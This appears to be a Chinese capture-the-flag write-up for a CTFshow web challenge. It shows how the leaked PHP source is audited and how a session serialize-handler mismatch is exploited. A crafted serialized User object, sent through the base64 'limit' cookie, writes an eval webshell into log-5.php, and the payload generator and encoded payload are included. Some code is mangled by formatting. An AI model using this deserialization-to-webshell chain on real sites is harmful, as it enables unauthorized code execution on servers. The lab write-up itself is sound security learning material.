1. 源码泄漏,访问www.zip,把源码下载下来
  2. 代码审计,一看到ini_set('session.serialize_handler', 'php');就应该是session反序列化
    ```php

    inc.php

    <?php error_reporting(0); ini_set(‘display_errors’, 0);

//php处理器引擎 ini_set(‘session.serialize_handler’, ‘php’); date_default_timezone_set(“Asia/Shanghai”); session_start(); use \CTFSHOW\CTFSHOW; require_once ‘CTFSHOW.php’; $db = new CTFSHOW([ ‘database_type’ => ‘mysql’, ‘database_name’ => ‘web’, ‘server’ => ‘localhost’, ‘username’ => ‘root’, ‘password’ => ‘root’, ‘charset’ => ‘utf8’, ‘port’ => 3306, ‘prefix’ => ‘’, ‘option’ => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]);

// sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match(“/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|`|~|!|\@|#|\$|\%|\^|\|\&|*|(|)|\(|\)|+|\=|[|]|\;|\:|\’|\”|\<|\,|>|\?/i”,$str); } }

class User{ public $username; public $password; public $status; function construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function destruct(){ file_put_contents(“log-“.$this->username, “使用”.$this->password.”登陆”.($this->status?”成功”:”失败”).”——“.date_create()->format(‘Y-m-d H:i:s’)); } }

/生成唯一标志 标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12) */

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . ‘-‘ . substr ( $chars, 8, 4 ) . ‘-‘ . substr ( $chars, 12, 4 ) . ‘-‘ . substr ( $chars, 16, 4 ) . ‘-‘ . substr ( $chars, 20, 12 );
return $uuid ;
}

  1. ```php
  2. #index.php
  3. <?php
  4. error_reporting(0);
  5. session_start();
  6. //超过5次禁止登陆
  7. if(isset($_SESSION['limit'])){
  8. //这里是变量是假条件,所以不会限制登录,而会不断覆盖session变量
  9. $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
  10. $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
  11. }else{
  12. setcookie("limit",base64_encode('1'));
  13. $_SESSION['limit']= 1;
  14. }
  15. .....
  16. ?>
#check.php
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

    $data= $db->get('admin',
    [    'id',
        'UserName0'
    ],[
        "AND"=>[
        "UserName0[=]"=>$GET['u'],
        "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
        ]
    ]);
    if($data['id']){
        //登陆成功取消次数累计
        $_SESSION['limit']= 0;
        echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
    }else{
        //登陆失败累计次数加1
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
        echo json_encode(array("error","msg"=>"登陆失败"));
    }
}
  1. inc.php写了本地处理器引擎是php,所以全局处理器引擎肯定是php_serialize,那就可以进行利用了,先找一下session是否可控,这里访问index.php第一次就被设置了session

    <?php
    error_reporting(0);
    session_start();
    if(isset($_SESSION['limit'])){
    //这里是变量是假条件,所以不会限制登录,而会不断覆盖session变量
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
    
  2. inc.php中有User类可以进行写入文件操作,那么就可以进行利用了写反序列化链了,这里不知道是服务器的bug还是啥,单独写一句话木马不会被写进文件,要加上另一句才会执行。离谱….
    ```php <?php class User{ public $username; public $password; function __construct(){

    $this->username = "5.php";
    $this->password = '<?php eval($_POST[2]);phpinfo();?>';
    

    } } echo base64_encode(“|”.serialize(new User())); //fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiI1LnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMl0pO3BocGluZm8oKTs/PiI7fQ==

?> ```

  1. 先改掉index.phpcookie值,重新加载后,访问check.php用php引擎进行处理session变量值进行反序列化操作,写入我们的小马文件

image-20210615230744422.png

  1. 访问log-5.php利用工具进行连接
    image-20210615230543462.png